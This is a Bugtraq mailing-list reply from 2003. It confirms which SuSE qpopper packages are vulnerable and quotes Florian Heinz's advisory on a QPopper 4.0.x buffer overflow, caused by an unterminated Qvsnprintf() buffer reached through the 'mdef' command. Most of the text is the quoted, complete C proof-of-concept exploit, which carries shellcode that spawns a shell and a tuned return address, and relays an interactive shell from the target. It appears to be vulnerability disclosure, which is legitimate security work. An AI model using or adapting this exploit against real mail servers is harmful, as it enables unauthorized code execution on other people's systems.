93693 2003-03-11 22:12 /151 rader/ Jonas Frey <jonas.frey@gmx.de> Importerad: 2003-03-11 22:12 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3922> Ärende: Re: QPopper 4.0.x buffer overflow vulnerability ------------------------------------------------------------ Hello, i just checked and got: Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get id uid=503(test) gid=0(root) groups=0(root) (Using Mailuser "test"). Same goes for Suse 8.0 (qpopper-4.0.3-168) The overflow isnt logged anywhere, you just see normal pop logins. Jonas On Mon, 2003-03-10 at 15:31, Florian Heinz wrote: > Hello, > > Under certain conditions it is possible to execute arbitrary code using > a buffer overflow in the recent qpopper. > > You need a valid username/password-combination and code is (depending on > the setup) usually executed with the user's uid and gid mail. > > Explanation: > > Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This > function is used unconditionally on any system, regardless if the system > has its own vsnprintf(). > The function correctly writes up to 'n' bytes into the buffer, but fails > to null-terminate it, if buffer-space runs out while copying the > format-string (so the obvious fix is, null-terminate the buffer in > Qvsnprintf()). > This is a problem in pop_msg() (popper/pop_msg.c). > The call to Qvsnprintf() can leave the buffer 'message' unterminated, so > the successive call to strcat (strcat(message,"\r\n")) writes somewhere > into thew stack. What it exactly overwrites depends heavily on the > individual binary and the current stack-data (where is the next > null-byte). > I successfully managed to execute arbitrary code using the > 'mdef'-command with the binary in the most recent debian-package > 'qpopper-4.0.4-8' > Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes > fills the buffer leaving it unterminated. The strcat overwrites the > least significant byte of the saved basepointer on the stack, > now pointing inside the buffer. On return of pop_mdef() (file > pop_extend.c), the return-address is now fetched from within our buffer > (and of course pointing inside our buffer), allowing to, for example, > spawn a shell. > The Macroname may not include bytes causing isspace() to return true > and, of course, no null-byte, so shellcode must be appropriate crafted. > I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but > SuSE is more lucky, strcat doesn't overwrite critical values. I have > not yet tested other distributions. > > Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for > debian qpopper-4.0.4-8: > > -- snip -- > > > #include <sys/socket.h> > #include <sys/select.h> > #include <netinet/in.h> > #include <arpa/inet.h> > #include <stdio.h> > #include <string.h> > #include <stdlib.h> > #include <unistd.h> > > char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68" > "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40" > "\x40\x40\xcd\x80"; > > #define BUFLEN 1006 > #define RETLEN 148 > #define RETADDR 0xbfffd304 > > int main (int argc, char **argv) { > int fd, len, i, retaddr = RETADDR; > char *bp, buf[2000]; > struct sockaddr_in peer; > fd_set fs; > > if (argc != 4) { > fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]); > exit(EXIT_FAILURE); > } > > peer.sin_family = AF_INET; > peer.sin_port = htons(110); > peer.sin_addr.s_addr = inet_addr(argv[1]); > fd = socket(AF_INET, SOCK_STREAM, 0); > if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { > perror("connect"); > exit(EXIT_FAILURE); > } > snprintf(buf, 1024, "USER %s\n", argv[2]); > write(fd, buf, strlen(buf)); > snprintf(buf, 1024, "PASS %s\n", argv[3]); > write(fd, buf, strlen(buf)); > memset(buf, 0x90, 2000); > memcpy(buf, "mdef ", 5); > memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc)); > bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc); > for (i = 0; i < RETLEN; i += 4) > memcpy(bp+i+2, &retaddr, sizeof(int)); > buf[BUFLEN-2] = '('; > buf[BUFLEN-1] = ')'; > buf[BUFLEN] = '\n'; > write(fd, buf, BUFLEN+1); > while (1) { > FD_ZERO(&fs); > FD_SET(0, &fs); > FD_SET(fd, &fs); > select(fd+1, &fs, NULL, NULL, NULL); > if (FD_ISSET(0, &fs)) { > if ((len = read(0, buf, 1000)) <= 0) > break; > write(fd, buf, len); > } else { > if ((len = read(fd, buf, 1000)) <= 0) > break; > write(1, buf, len); > } > } > > exit(EXIT_SUCCESS); > } > > -- snap -- > > This is the short version. An enhanced version with error-checking, > bufsize- and return-address autodetection can be found on > http://nstx.dereference.de/snippets/qex.c > > Feedback is welcome. > > regards, > > Florian Heinz > Cronon AG > http://www.cronon.org > > PS: sorry for the bad english ;) > (93693) /Jonas Frey <jonas.frey@gmx.de>/------------